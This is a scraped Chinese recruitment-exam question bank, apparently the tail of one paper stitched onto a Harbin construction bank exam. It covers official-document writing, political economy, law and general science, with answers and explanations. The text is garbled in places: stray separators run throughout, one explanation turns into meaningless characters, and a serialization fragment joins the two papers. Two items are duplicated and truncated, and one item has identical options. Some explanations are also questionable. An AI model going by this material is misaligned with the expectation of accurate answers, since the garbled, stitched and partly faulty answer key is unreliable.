@#@@#@　　A、执行情况@#@　　B、是否超过时限@#@　　C、督促并协助承办单位落实公文精神、解决有关问题@#@　　D、查看是否需要行文@#@　　【答案】AC@#@　　【解析】公文查办是指核查重要公文的执行情况，督促并协助承办单位落实公文精神、解决有关问题的活动。

@#@@#@　　21、请示具有要求上级机关答复批准工作，要得到上级机关给予理想批复，写好（）是关键。

@#@@#@　　A、请示标题@#@　　B、请示缘由@#@　　C、请示事项@#@　　D、结束语@#@　　【答案】B@#@　　【解析】本题考查的是15种公文格式。

@#@在实践中，写好请示的缘由部分，往往是求得上级机关给予理想批复的关键，所以请示缘由部分往往比其他公文的缘由部分更为详细。

@#@故本题选B。

@#@@#@　　22、发送给抄送机关的文件，以及在报刊上公布的文件，可视为（）。

@#@@#@　　A、副本@#@　　B、正本@#@　　C、存本@#@　　D、修订本@#@　　【答案】A@#@　　【解析】副本是指再现公文正本内容及全部或部分外形特征的公文复制本或正本的复份。

@#@@#@　　23、根据《专利法》规定，下列情形可以授予专利权的是（）。

@#@@#@　　A、甲发明了提高伪钞仿真度的新方法@#@　　B、乙发明了提高计算速度的新方法@#@　　C、丙发明了治疗糖尿病的新方法@#@　　D、丁发明了某植物新品种的生产方法@#@　　【答案】D@#@　　【解析】A项不属于合法的发明创造；@#@@#@　　B、C项属于《专利法》规定的不能授权的范围；@#@D项发明了某植物新品种的生产方法，而非植物的品种，因此属于专利。

@#@故选D。

@#@@#@　　24、人们因胃酸分泌过多所食用的“抗酸剂”主要成分可能是（）。

@#@@#@　　A、氢氧化亚铁@#@　　B、碳酸氢钠@#@　　C、碳酸锂@#@　　D、氢氧化钾@#@　　【答案】B@#@　　【解析】因胃酸分泌过多所食用的“抗酸剂”主要成分为碳酸氢钠，可用于缓解胃酸过多引起的胃痛、胃灼热感（烧心）、反酸等症状。

@#@@#@　　25、对“工业和人的环境是人的一本打开的心理学”这一观点分析正确的是（）。

@#@@#@　　A、是唯心主义观点，不具有科学性@#@　　B、这一观点将工业和环境理解为主观的@#@　　C、工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值@#@　　D、否认了人的实践活动对象的客观性@#@　　【答案】C@#@　　【解析】实践是指人能动地改造客观世界的对象性活动。

@#@实践以人为主体，以客观事物为对象。

@#@工业和人的环境，一方面是客观的，另一方面它又是人的认识和价值观念的体现。

@#@正因为工业和人的环境是人的实践活动和实践的产物，体现着人的爱好、心理和价值，所以我们可以把工业和人的环境看作是人的一本打开的心理学。

@#@@#@　　故本题选C。

@#@@#@　　26、社会生产可划分为两大部类，第一部类是生产资料的生产，第二部类是（）的生产。

@#@@#@　　A、折旧资料@#@　　B、资本资料@#@　　C、垄断资料@#@　　D、消费资料@#@　　【答案】D@#@　　【解析】本题考查社会生产。

@#@@#@　　社会总产品在物质形态上划分为两大部类，即第一部类和第二部类。

@#@第一部类由生产生产资料的部门构成，第二部门由生产消费资料的部门构成。

@#@D项符合题意，当选。

@#@ABC项与题意无关，排除。

@#@@#@　　故本题选择D项。

@#@@#@　　27、公文正文的字体应该是（）。

@#@@#@　　A、仿宋体@#@　　B、宋体@#@　　C、楷体@#@　　D、黑体@#@　　【答案】A@#@　　【解析】公文正文使用3号仿宋字体，故本题答案选A。

@#@@#@　　28、建设和谐文化的根本是（）。

@#@@#@　　A、社会主义荣辱观@#@　　B、社会主义核心价值体系@#@　　C、文明道德风尚@#@　　D、营造积极健康的思想舆论氛围@#@　　【答案】B@#@　　【解析】中央关于构建和谐社会的《决定》指出：

@#@@#@　　“社会主义核心价值体系是建设和谐文化的根本”。

@#@@#@　　《决定》的这一新思想、新观点，不仅把建设和谐文化作为构建社会主义和谐社会的重大任务，而且为建设社会主义和谐文化指明了方向。

@#@@#@　　29、在同一市场中，等离子电视机这类高档商品的售价比阴极射线管电视机这类普通商品的售价要高，这是因为：

@#@@#@　　（）。

@#@@#@　　A、高档商品包含较多的社会必要劳动时间@#@　　B、高档商品包含较多的个别劳动时间@#@　　C、高档商品的使用价值较大@#@　　D、高档商品的使用功能比较完善@#@　　【答案】A@#@　　【解析】本题考查剩余价值，商品价格是商品价值的货币表现。

@#@商品是使用价值和价值的统一体。

@#@商品的价值是凝结在商品中的一般人类劳动。

@#@这种劳动是以量的形式表现出来的。

@#@商品的价值量由生产这种商品所耗费的社会必要劳动时间所决定的，题目中等离子电视机这类高档商品的售价比阴가὘὘攤ᾀ攤ᾀ὘턨὘὘魤가@#@　　30、人每天都会眨眼无数次，有时是有意识的动作，有时则是“自动”进行的。

@#@这些“自动”进行的眨眼动作的主要目的是（）。

@#@@#@　　A、阻挡灰尘等异物进入眼睛@#@　　B、防止眼部肌肉僵直、疲劳@#@　　C、习惯性动作，没有什么目的@#@　　D、使眼泪均匀覆盖眼球，保持眼球湿润@#@　　【答案】D@#@　　【解析】眨眼是眼睛的一种自我保护机制，眨眼的时候能使眼泪均匀覆盖眼球，保持眼球湿润，同时把眼球表面的灰尘洗掉。

@#@故选D。

@#@@#@　　31、在行政公文中，不可用于上行文的公文种类有（）。

@#@@#@　　A、报告@#@　　B、请示@#@　　C、批复@#@　　D、意见@#@　　【答案】C@#@　　【解析】报告和请示只能用于上行文。

@#@意见既可做下行文，也可作上行文和平行文使用。

@#@而批复只能用于下行文。

@#@@#@　　32、下列科技常识中，表述有误的一项是（）。

@#@@#@　　A、计算机网络是指在地理上分散布置的多台独立计算机通过通信线路互联构成的系统@#@　　B、信息高速公路是以多媒体为车、以光纤为路的高信息流量的信息网络@#@　　C、信息技术是高技术的前导，以通信技术为基础@#@　　D、纳米材料是一种既不同于原子、分子，也不同于宏观物质的特殊性能的物质构成的材料@#@　　【答案】C@#@　　【解析】信息技术是指信息的获取、传递、处理等技术的总称。

@#@它是高技术的前导，信息技术以微电子技术为基础，包括通信技术、自动化技术、微电子技术、光电子技术、光导技术、计算机技术和人工智能技术等。

@#@C项错误，当选。

@#@@#@　　33、从个人和社会相统一的观点出发，人生价值的实现在于（）。

@#@@#@　　A、完成对他人和社会需求的满足@#@　　B、实现最大限度的自由选择@#@　　C、满足社会和自我多方面的需要@#@　　D、社会对个人尊严和需要的满足@#@　　【答案】C@#@　　【解析】从个人和社会相统一的观点出发，人的自我价值在于通过自己的活动满足社会和自我的多方面需要。

@#@故选C。

@#@@#@　　34、某资本家经营的企业通过改进技术、提高劳动生产率，使其生产商品花费的劳动时间比社会必要劳动时间少10%，由此形成商品个别价值低于社会价值的那部分是（）。

@#@@#@　　A、超额剩余价值@#@　　B、绝对剩余价值@#@　　C、相对剩余价值@#@　　D、剩余价值@#@　　【答案】A@#@　　【解析】超额剩余价值是商品的个别价值低于社会价值的差额，在资本主义社会，各个资本家率先采用先进技术，提高劳动生产率的直接动机是追逐超额剩余价值。

@#@故选A。

@#@@#@　　35、在简单价值形式中，1只羊=2把石斧中（）。

@#@@#@　　A、石斧处于等价形式，是个别等价物@#@　　B、羊处于等价形式，是个别等价物@#@　　C、石斧处于等价形式，是一般等价物@#@　　D、羊处于等价形式，是一般等价物@#@　　【答案】A@#@　　【解析】在此公式中，羊的价值通过斧子相对地表现出来（羊的价值不能自己表现自己），所以羊处于相对价值形式，而石斧反映出另一种商品的（羊）的价值，成为羊的价值的表现形式，起者等价物的作用，并且这种等价物是偶然在交换中产生的，并不是固定地充当等价物，所以选项A是正确的。

@#@故选A。

@#@@#@　　36、工业社会最核心的生产要素是（）。

@#@@#@　　A、土地@#@　　B、科技@#@　　C、资本@#@　　D、劳动@#@　　【答案】C@#@　　【解析】本题考查的生产要素。

@#@生产要素是指进行社会生产经营活动时所需要的各种社会资源，包括劳动力、土地、资本、技术、资源、能源、信息等内容，而且这些内容随着时代的发展也在不断发展变化。

@#@在农业社会，土地是最主要的生产要素；@#@在工业社会，资本是最主要的生产要素；@#@在信息社会，信息是最主要的生产要素。

@#@@#@　　信息要素对其他生产要素的替代程度，可以反映信息化与工业化的融合程度。

@#@故本题选择C选项。

@#@@#@　　37、理性经济人假设是西方经济学理论的逻辑基础，这一理论假设的核心是认为人（）。

@#@@#@　　A、追求经济利益的最大化@#@　　B、追求自我利益的最大化@#@　　C、没有利他心@#@　　D、追求经济利益和社会利益的最大化@#@　　【答案】A@#@　　【解析】西方经济学理论的基本前提是理性人假设。

@#@理性人的基本特征是：

@#@每一个从事经济活动的人所采取的经济行为都是力图以自己的最小经济代价去获得自己的最大经济利益，即主体所追求的唯一目标是经济利益的最大化。

@#@@#@　　38、人们必须重视间接经验和书本知识，这是因为（）。

@#@@#@　　A、社会实践是人类认识的基础@#@　　B、认识的发展具有继承性@#@　　C、一个人不可能事事都亲自实践@#@　　D、间接经验和书本知识是认识的源泉@#@　　【答案】BC@#@　　【解析】一切真知皆由直接经验发源，但任何人不可能事事都依靠直接经验，人类文明成果依靠间接经验传承。

@#@@#@　　二者互相依赖，不可偏废。

@#@@#@　　39、管理的两重性是指（）。

@#@@#@　　A、管理的目标性和阶段性@#@　　B、管理的自然属性和社会属性@#@　　C、管理的先进性和可行性@#@　　D、管理的组织性和行为性@#@　　【答案】B@#@　　【解析】管理具有两重性，即管理的自然属性和社会属性。

@#@故选B。

@#@@#@　　40、撰写公文不像文学作品那样需要进行铺垫或者设置悬念来引人入胜，而是要求开门见山，言简意赅，此段话皆在说明公文语言要求（）。

@#@@#@　　A、准确@#@　　B、简明@#@　　C、规范@#@　　D、得体@#@　　【答案】B@#@　　【解析】撰写公文要开门见山，言简意赅，这是说公文语言要简明扼要。

@#@故选B。

@#@@#@　　41、公文中，“×@#@×@#@×@#@×@#@”处缺少发文字号，其正确的书写格式应为（）。

@#@@#@　　A、陕政函（2012）181号@#@　　B、陕政函〔2012〕第181号@#@　　C、陕政函〔2012〕181号@#@　　D、陕政函2012年第181号@#@　　【答案】C@#@　　【解析】本题考查公文。

@#@发文字号有固定的模式，由发文机关代字,年份（发文年度）,序号（发文顺序号）三部分组成，年份加六角括号，序号前不加"@#@第"@#@字,数字前面也不加"@#@0"@#@。

@#@因此本题选择C选项。

@#@@#@　　42、下列属于批复的特点的是（）。

@#@@#@　　A、下行性@#@　　B、针对性@#@　　C、结论性@#@　　D、及时性@#@　　【答案】ABCD@#@　　【解析】批复的特点:

@#@1,下行性。

@#@批复仅能用于下行文。

@#@@#@　　2,针对性。

@#@批复是专为请示而设臵的文种，其主送机关是呈送请示的下级机关。

@#@@#@　　3,结论性。

@#@批复是针对请示问题的答复，只用作出结论即可，不必展开论述，内容较为简练。

@#@@#@　　4,及时性。

@#@上级机关批复下级机关的请示要迅速，以免耽误下级机关的工作进展。

@#@@#@　　43、撰写决定、讲话稿时，一般采用的表达方式是（）。

@#@@#@　　A、议论@#@　　B、说明@#@　　C、论证@#@　　D、叙述@#@　　【答案】A@#@　　【解析】决定的文字，要求准确、鲜明、简洁，便于领会和执行，演讲稿也要求陈述清楚扼要，表达观点精炼。

@#@@#@　　而议论文就着重于宣传一个观点，争取人们接受，符合这两种公文的要求。

@#@故选A。

@#@@#@　　44、事业单位人事争议仲裁实行申请人（）申请制度。

@#@@#@　　A、单方@#@　　B、双方@#@　　C、代理@#@　　D、直接@#@　　【答案】A@#@　　【解析】人事争议发生后，只要一方当事人提出申请，争议事项在人事争议仲裁机构受理范围内，仲裁机构都应该受理，启动仲裁程序。

@#@另一方不提交答辩书或者不出庭，不影响仲裁程序地进行。

@#@故选A。

@#@@#@　　45、管理学中以尊重人心，激发人的热情为核心的原理是（）。

@#@@#@　　A、激励原理@#@　　B、能级原理@#@　　C、人本原理@#@　　D、效益原理@#@　　【答案】C@#@　　【解析】人本原理是一种全新的管理模式，其核心是尊重人心、激发人的热情，要求人们在管理活动中坚持一切以人为核心，以人的权利为根本，强调人的主观能动性，力求实现人的全面、自由发展。

@#@故选C。

@#@@#@　　46、下列文学作品中，属于魔幻现实主义流派的代表作的是（）。

@#@@#@　　A、卡夫卡的《变形记》@#@　　B、梅特林克的《青鸟》@#@　　C、马尔克斯的《百年孤独》@#@　　D、贝克特的《等待戈多》@#@　　【答案】C@#@　　【解析】魔幻现实主义文学是20世纪50年代崛起于现代拉丁美洲文坛、富有撼动世界的轰动效应的现代派文学重要流派，其主张把现实投放到虚幻的环境和气氛中，给以客观、详尽的描述，使现实披上一层光怪陆离的魔幻外衣，该流派的主要代表作品是阿格达斯的《深沉的河流》、马尔克斯的《百年孤独》等，因此C项正确。

@#@@#@　　A项卡夫卡的《变形记》属于表现主义流派的代表作。

@#@B项梅特林克的《青鸟》属于象征主义流派的代表作。

@#@D项贝克特的《等待戈多》属于荒诞派戏剧流派的代表作。

@#@@#@　　47、两个或两个以上机关联合行文时必须做好（）工作。

@#@@#@　　A、审核@#@　　B、签发@#@　　C、会商@#@　　D、会签@#@　　【答案】D@#@　　【解析】会签是公文拟制的过程中，主办单位主动与有关单位协商并核签的一种办文程序，一般当公文的内容涉及本单位的多个部门或与其他单位有关时，需要进行会签。

@#@联合发文由所有联署机关的负责人会签。

@#@会签根据对象的不同分为内部会签和外部会签。

@#@内部会签用于与本单位内部的各有关部门进行协商并核签;@#@外部会签用于与外单位的有关部门进行协商并核签;@#@二者的性质相同，但处理形式";i:

2;s:

28649:

"黑龙江省哈尔滨市尚志市建设银行招聘考试真题及答案@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、理性经济人假设是西方经济学理论的逻辑基础，这一理论假设的核心是认为人（）。

@#@@#@　　A、追求经济利益的最大化@#@　　B、追求自我利益的最大化@#@　　C、没有利他心@#@　　D、追求经济利益和社会利益的最大化@#@　　【答案】A@#@　　【解析】西方经济学理论的基本前提是理性人假设。

@#@理性人的基本特征是：

@#@每一个从事经济活动的人所采取的经济行为都是力图以自己的最小经济代价去获得自己的最大经济利益，即主体所追求的唯一目标是经济利益的最大化。

@#@@#@　　2、在简单价值形式中，处于相对价值形式上的商品是（）。

@#@@#@　　A、表现另一种商品价值的商品@#@　　B、价值被表现的商品@#@　　C、充当等价物的商品@#@　　D、充当一般等价物的商品@#@　　【答案】B@#@　　【解析】简单的或偶然的价值形式反映了在原始社会后期部落之间偶然出现剩余产品的交换的现象。

@#@即一种商品的价值简单地或偶然地表现在另一种商品的使用价值上，即M商品=N商品。

@#@在此公式中，M的价值通过N相对地表现出来，处于相对价值形式的地位上；@#@而N反映出另一种商品（M）的价值，成为M的价值的表现，起着等价物的作用。

@#@故选B。

@#@@#@　　3、医生在给人抽血化验时，用一根橡皮胶管将上肢的上臂扎紧，一会儿上肢前臂靠肘关节处的血管暴起，该血管是（）。

@#@@#@　　A、动脉@#@　　B、毛细血管@#@　　C、静脉@#@　　D、毛细淋巴管@#@　　【答案】C@#@　　【解析】抽血一般从静脉血管抽，因为静脉血管压力小，出血后可以很快止住，而动脉由于血流速度快，对血管冲击力和侧压力较大，不容易止血，所以不从动脉抽血。

@#@题干所述血管就是静脉，C项当选。

@#@@#@　　4、干燥的冷空气和富含水蒸气的暖空气相遇，发生大规模碰撞时形成的极端天气现象是（）。

@#@@#@　　A、热带风暴@#@　　B、台风@#@　　C、飓风@#@　　D、龙卷风@#@　　【答案】D@#@　　【解析】干燥的冷空气和富含水蒸气的暖空气相遇，会产生的极端天气现象是龙卷风。

@#@@#@　　5、社会意识的相对独立性突出地表现在（）。

@#@@#@　　A、社会意识可以超前于社会存在@#@　　B、社会意识对社会存在有反作用@#@　　C、社会意识反映社会存在@#@　　D、社会意识诸形式之间的相互影响@#@　　【答案】B@#@　　【解析】社会意识的相对独立性表现在：

@#@@#@　　

（1）社会意识的变化发展和社会存在的变化发展的非完全同步性；@#@@#@　　

（2）社会意识和社会经济之间在发展上的不平衡性；@#@@#@　　（3）社会意识的发展具有历史继承性；@#@@#@　　（4）社会意识诸形式间的相互影响和相互作用；@#@@#@　　（5）社会意识对社会存在具有反作用，是社会意识相对独立性的突出表现。

@#@故选B。

@#@@#@　　6、在商品经济条件下，价值规律的作用体现在（）。

@#@@#@　　A、调节资源配置和经济活动@#@　　B、理顺分配关系。

@#@避免两极分化@#@　　C、刺激生产者改进技术。

@#@提高劳动生产率@#@　　D、促使商品生产者在市场竞争中实现优胜劣汰@#@　　【答案】ACD@#@　　【解析】价值规律在商品经济中，主要作用表现在以下三个方面：

@#@@#@　　

（1）调节生产资料和劳动力在社会生产的各部门之间的分配。

@#@@#@　　

（2）刺激商品生产者改进技术，改善经营管理.提高劳动生产率.促进社会生产力的发展。

@#@@#@　　（3）促使商品生产者在市场竞争中实现优胜劣汰。

@#@在商品经济中，各个商品生产者的生产条件是不同的。

@#@故本题答案选ACD。

@#@@#@　　7、人每天都会眨眼无数次，有时是有意识的动作，有时则是“自动”进行的。

@#@这些“自动”进行的眨眼动作的主要目的是（）。

@#@@#@　　A、阻挡灰尘等异物进入眼睛@#@　　B、防止眼部肌肉僵直、疲劳@#@　　C、习惯性动作，没有什么目的@#@　　D、使眼泪均匀覆盖眼球，保持眼球湿润@#@　　【答案】D@#@　　【解析】眨眼是眼睛的一种自我保护机制，眨眼的时候能使眼泪均匀覆盖眼球，保持眼球湿润，同时把眼球表面的灰尘洗掉。

@#@故选D。

@#@@#@　　8、相对论揭示的是（）。

@#@@#@　　A、时间和空间可以离开物质自己运动@#@　　B、时间和空间不随物质运动速度的变化而变化@#@　　C、时间和空间是主观精神的表现形式@#@　　D、时间和空间与物质运动不可分@#@　　【答案】D@#@　　【解析】狭义相对论揭示了空间、时间、质量和物质运动之间的联系，广义相对论则建立了空间、时间是随着物质分布和运动速度的变化而变化的理论。

@#@故选D。

@#@@#@　　9、下列权力中，不属于支配权的是（）。

@#@@#@　　A、知识产权@#@　　B、物权@#@　　C、债权@#@　　D、人身权@#@　　【答案】C@#@　　【解析】支配权，亦称“管领权”，是指权利主体所享有的对权利客体直接管领和控制的权利。

@#@如所有权、知识产权等。

@#@支配权包括：

@#@物权、人身权和知识产权。

@#@故选C。

@#@@#@　　10、一个人的学历证书或培训证明是要解决（）。

@#@@#@　　A、保险市场信息不对称问题@#@　　B、教育市场的信息不对称问题@#@　　C、资本市场的信息不对称问题@#@　　D、劳动力市场信息不对称问题@#@　　【答案】D@#@　　【解析】信息不对称不仅指人们常常限于认识能力不可能在任何时候，任何地方发生或将要发生的任何情况，更重要的是指行为主体为充分了解信息所花费的成本实在太大，不允许他们去掌握完全的信息。

@#@@#@　　11、洋流对地理环境的影响表述错误的有（）。

@#@@#@　　A、促进高低纬度间热量的输送和交换@#@　　B、促进海岸线的地貌形成@#@　　C、暖流流经的地区有利于渔场的形成@#@　　D、利于污染物的扩散，减缓海水净化速度@#@　　【答案】BCD@#@　　【解析】洋流对地理环境的影响主要表现在促进高低纬度间的热量输送和交换上。

@#@A项正确，其他错误。

@#@故选BCD。

@#@@#@　　12、下列不属于心理学效应的是（）。

@#@@#@　　A、晕轮效应@#@　　B、马太效应@#@　　C、破窗效应@#@　　D、配位效应@#@　　【答案】D@#@　　【解析】A项“晕轮效应”是指当认知者对一个人的某种特征形成好或坏的印象后，他还倾向于据此推论该人其他方面的特征，其本质上是一种以偏概全的认知上的偏误。

@#@@#@　　“晕轮效应”属于心理学效应。

@#@@#@　　B项“马太效应”是指好的愈好，坏的愈坏，多的愈多，少的愈少的一种现象。

@#@@#@　　“马太效应”属于心理学效应。

@#@@#@　　C项“破窗效应”是指一个房子如果窗户破了，没有人去修补，隔不久，其他的窗户也会莫名其妙地被人打破。

@#@@#@　　该理论认为，环境中的不良现象如果被放任存在，会诱使人们仿效，甚至变本加厉。

@#@@#@　　“破窗效应”属于心理学效应。

@#@@#@　　D项“配位效应”是一种化学变化，指当溶液中存在能与沉淀的结晶离子形成配合物的配位剂时，则沉淀的溶解度增大的现象。

@#@@#@　　“配位效应”不属于心理学效应，当选。

@#@@#@　　13、小辉想除去卫生间瓷砖上的铁锈痕迹，在用清水洗涤之前，她从家中选择了一种最合适的物质对铁锈进行处理，这种物质是（）。

@#@@#@　　A、食盐水@#@　　B、汽油@#@　　C、米酒@#@　　D、白醋@#@　　【答案】D@#@　　【解析】铁锈的主要成分是氧化铁，溶于酸，白醋是一种酸性物质，因此D项正确。

@#@氧化铁与食盐水、汽油和米酒不相溶。

@#@@#@　　14、判断一个人的行为道德与不道德的基本尺度和基本标准是（）。

@#@@#@　　A、道行品德@#@　　B、道德规范@#@　　C、道德意识@#@　　D、道德行为@#@　　【答案】B@#@　　【解析】道德规范是对基本道德要求进行的高度概括，是人们判别是非善恶、道德与不道德的基本尺度，也是人们在行为选择中应当怎样做与不应当怎样做的基本标准。

@#@故选B。

@#@@#@　　15、事物联系的发展过程中一定要发生、确定不移的性质的趋势是指（）。

@#@@#@　　A、可能性@#@　　B、现实性@#@　　C、偶然性@#@　　D、必然性@#@　　【答案】D@#@　　【解析】必然性是指在事物发展中一定发生的趋势；@#@偶然性是事物发展中并非必定发生的、不确定的趋势。

@#@@#@　　现实性是指现在的一切事物和现象的实际存在性，是已经实现了的可能性。

@#@可能性是指包含在现实事物中、预示着事物发展前途的各种趋势。

@#@故选D。

@#@@#@　　16、下列属于社会化生产一般规律的是（）。

@#@@#@　　A、价值规律@#@　　B、按生产要素分配的规律@#@　　C、剩余价值规律@#@　　D、按比例分配社会劳动的规律@#@　　【答案】D@#@　　【解析】社会化大生产是以分工协作为基本特征的，这种分工协作既包括各种劳动力要素的分工和协作关系，还包括其他生产要素的分工。

@#@①社会化大生产基本规律的内容，是社会各生产部门之间必须保持一定的比例的规律。

@#@②影响社会总劳动在各生产部门之间分配的主要因素有两个：

@#@社会的需求结构和物质财富的生产条件。

@#@@#@　　据此可见，D项正确。

@#@故选D。

@#@@#@　　17、古人信奉“五德终始说”，认为朝代与金、木、水、火、土五行相对应，朝代更替源于五行相克。

@#@周朝尚红色、属火，那么秦朝尚黑色、属（）。

@#@@#@　　A、金@#@　　B、木@#@　　C、水@#@　　D、土@#@　　【答案】C@#@　　【解析】五行相克的次序是：

@#@金克木、木克土、土克水、水克火、火克金。

@#@周属火，秦克周，根据五行相克“水克火”，故秦承水德，因此C项正确。

@#@@#@　　18、某大学校长在新进教职工座谈会上发表欢迎词，下列哪些内容应该列入欢迎词文稿。

@#@@#@　　（）@#@　　A、向新进教职工表示欢迎@#@　　B、介绍学校情况@#@　　C、对新进教职工寄予希望@#@　　D、详细介绍新进教职工过去的成绩@#@　　【答案】ABC@#@　　【解析】本题考查欢迎词。

@#@欢迎词，是指客人光临时，主人为表示热烈的欢迎，在座谈会、宴会、酒会等场合发表的热情友好的讲话。

@#@@#@　　A项，欢迎词的开头，应对宾客的光临表示热烈的欢迎。

@#@正确，当选；@#@@#@　　B项，为欢迎新教职工，需要介绍学校情况，以激励新教职工积极工作，正确，当选；@#@@#@　　C项，欢迎词的主体，需要展望美好的未来，以激励员@#@　　19、某大学校长在新进教职工座谈会上发表欢迎词，下列哪些内容应该列入欢迎词文稿。

@#@@#@　　（）@#@　　A、向新进教职工表示欢迎@#@　　B、介绍学校情况@#@　　C、对新进教职工寄予希望@#@　　D、详细介绍新进教职工过去的成绩@#@　　【答案】ABC@#@　　【解析】本题考查欢迎词。

@#@欢迎词，是指客人光临时，主人为表示热烈的欢迎，在座谈会、宴会、酒会等场合发表的热情友好的讲话。

@#@@#@　　A项，欢迎词的开头，应对宾客的光临表示热烈的欢迎。

@#@正确，当选；@#@@#@　　B项，为欢迎新教职工，需要介绍学校情况，以激励新教职工积极工作，正确，当选；@#@@#@　　C项，欢迎词的主体，需要展望美好的未来，以激励员@#@　　20、收件人收到文件后，在对方的公文投递单上签字的程序称为（）。

@#@@#@　　A、签收@#@　　B、登记@#@　　C、签发@#@　　D、注办@#@　　【答案】A@#@　　【解析】登记是指把有关事项或东西登录记载在册籍上，不合题意，排除B；@#@签发是指主管人审核同意后签字发出，表示负责详细解释对发文进行终审的工作，排除C；@#@注办是由承办人在公文尾角或文书处理单上简要注记公文的处理情况（如是否办理，复文字号和日期等），以备日后查考，D项不合题意，排除；@#@签收是收到公文、信函后，在送件人指定的单据上签名或盖章，表示收到无误，故本题选A。

@#@@#@　　21、公文结构修改的目的不包括使公文（）。

@#@@#@　　A、更加严谨@#@　　B、更加详尽@#@　　C、更加畅达@#@　　D、更加匀称@#@　　【答案】B@#@　　【解析】公文修改从大的方面讲，应把握住结构、表述、标题三个重点。

@#@结构一定要合理，就是要做到主题突出，编排有序，详略得当。

@#@表述一定要准确明了，干净利落，不拖泥带水。

@#@标题要力求新颖、简洁、概括准确、具有较强的吸引力。

@#@标题包括总标题、章节标题都要精益求精。

@#@一个好的标题，可以起到提纲挈领、画龙点睛的功效，可为文章增色不少。

@#@即公文修改应把握准确、凝炼、规范三原则。

@#@因此更加详尽不符合要求。

@#@故选B。

@#@@#@　　22、身份权是指因为民事主体的特定身份而产生的权利。

@#@下列权利中属于公民身份权的是（）。

@#@@#@　　A、姓名权@#@　　B、监护权@#@　　C、肖像权@#@　　D、名誉权@#@　　【答案】B@#@　　【解析】身份权主要包括荣誉权、著作权、发明权、专利权、商标权等知识产权中的人身权以及监护权、亲属权等。

@#@故选B。

@#@@#@　　23、公文发文办理的主要程序是（）。

@#@@#@　　A、承办-初审-签发-登记@#@　　B、承办-初审-签发-登记@#@　　C、登记-复核-传阅-印发@#@　　D、复核-登记-印发-核发@#@　　【答案】D@#@　　【解析】本题考查的是公文发文办理程序发文办理是指机关内部为制发公文所进行的拟制、处置与管理活动。

@#@发文办理的一般程序为：

@#@复核、登记、印制、核发。

@#@这一程序具有很强的确定性与不可逆性。

@#@收文办理的一般程序为：

@#@签收、登记，初审、承办、传阅、催办，答复。

@#@@#@　　A项，属于收文办理程序且次序混乱。

@#@故A错误，排除。

@#@@#@　　B项，包含收文办理程序和发文办理程序。

@#@故B错误，排除。

@#@@#@　　C项，包含收文办理程序和发文办理程序。

@#@故C错误，排除。

@#@@#@　　D项，内容全部是公文发文办理的主要程序。

@#@故D正确，当选。

@#@@#@　　故本题的正确答案为D项。

@#@@#@　　24、公民道德建设是纠正道德失范的（）。

@#@@#@　　A、关键举措@#@　　B、必由之路@#@　　C、客观要求@#@　　D、基础工程@#@　　【答案】B@#@　　【解析】公民道德建设是纠正道德失范的必由之路。

@#@故选B。

@#@@#@　　25、某资本家经营的企业通过改进技术、提高劳动生产率，使其生产商品花费的劳动时间比社会必要劳动时间少10%，由此形成商品个别价值低于社会价值的那部分是（）。

@#@@#@　　A、超额剩余价值@#@　　B、绝对剩余价值@#@　　C、相对剩余价值@#@　　D、剩余价值@#@　　【答案】A@#@　　【解析】超额剩余价值是商品的个别价值低于社会价值的差额，在资本主义社会，各个资本家率先采用先进技术，提高劳动生产率的直接动机是追逐超额剩余价值。

@#@故选A。

@#@@#@　　26、管理学中的“木桶原理”指的是在管理工作中要注意（）。

@#@@#@　　A、灵活性@#@　　B、原则性@#@　　C、程序性@#@　　D、整体性@#@　　【答案】D@#@　　【解析】@#@　　“木桶原理”是指组成木桶的木条中，其最短的一根木条决定木桶的容积，因此构成木桶的木条应长度均衡，才能使木桶成为一个有效率的整体，增加容积。

@#@@#@　　“木桶原理”强调的是整体性的重要。

@#@@#@　　27、在商品交换中起媒介作用的货币，执行的是（）。

@#@@#@　　A、价值尺度职能@#@　　B、支付手段职能@#@　　C、储藏手段职能@#@　　D、流通手段职能@#@　　【答案】D@#@　　【解析】本题考查货币。

@#@在发达的商品经济中，货币具有价值尺度、流通手段、贮藏手段、支付手段和世界货币五种职能。

@#@其中最基本的职能是价值尺度和流通手段。

@#@@#@　　

（1）价值尺度，是指货币充当衡量商品所包含价值量大小的社会尺度。

@#@@#@　　

（2）流通手段的职能是货币作为商品交换的媒介，即购买手段的职能。

@#@其主要特点是在商品买卖中，商品的让渡和货币的让渡在同一时间内完成，通俗地说是一手交钱、一手交货。

@#@@#@　　（3）贮藏手段，货币退出流通领域作为社会财富的一般代表被保存起来的职能。

@#@@#@　　（4）支付手段，支付手段是随着商品赊账买卖的产生而出现的。

@#@@#@　　（5）世界货币，世界货币是随着商品生产和交换的发展而产生和发展的。

@#@也就成为世界范围的商品的一般等价物，即世界货币。

@#@故本题选D。

@#@@#@　　28、实施西部大开发战略要统筹规划，突出重点。

@#@其哲学依据是（）。

@#@@#@　　A、同一矛盾的双方，其地位、作用是不平衡的@#@　　B、在复杂事物发展过程中，不同矛盾地位、作用是不平衡的@#@　　C、矛盾普遍存在，必须一分为二地看问题@#@　　D、一切事物都在发展，必须用发展的眼光看问题@#@　　【答案】B@#@　　【解析】复杂事物中包含多个矛盾，其中必有一个矛盾居于支配地位，对事物的发展起着决定作用，这个矛盾就是主要矛盾。

@#@反之，不处于支配地位，对事物的发展不起决定作用的矛盾就是次要矛盾。

@#@主次矛盾的原理告诉我们集中力量找出主要矛盾，才能找到解决复杂问题的重点、关键@#@　　29、由于出现新技术和新发明引起原由固定资本价值的贬值被称为（）。

@#@@#@　　A、有形损耗@#@　　B、实物补偿@#@　　C、精神损耗@#@　　D、价值补偿@#@　　【答案】C@#@　　【解析】精神损耗又称为无形损耗，有形损耗也称为物质损耗或物质磨损。

@#@故选C。

@#@@#@　　30、社会主义经济体制是指（）。

@#@@#@　　A、社会主义生产关系的总和@#@　　B、社会主义的基本经济制度@#@　　C、社会主义经济制度的具体实现形式及运行方式@#@　　D、社会主义生产、分配、交换、消费的体系@#@　　【答案】C@#@　　【解析】社会主义经济体制是指社会主义生产关系所采取的具体形式。

@#@所谓经济体制，是指一定社会生产关系借以实现的形式，即生产关系的具体组织形式和经济管理制度，反映社会经济采取的资源配置方式。

@#@故选C。

@#@@#@　　31、启事与通告的本质区别是（）。

@#@@#@　　A、内容不同@#@　　B、使用单位不同@#@　　C、面对对象不同@#@　　D、是否具有强制约束力@#@　　【答案】D@#@　　【解析】启事没有强制与约束力，这是与公告、通告的本质区别。
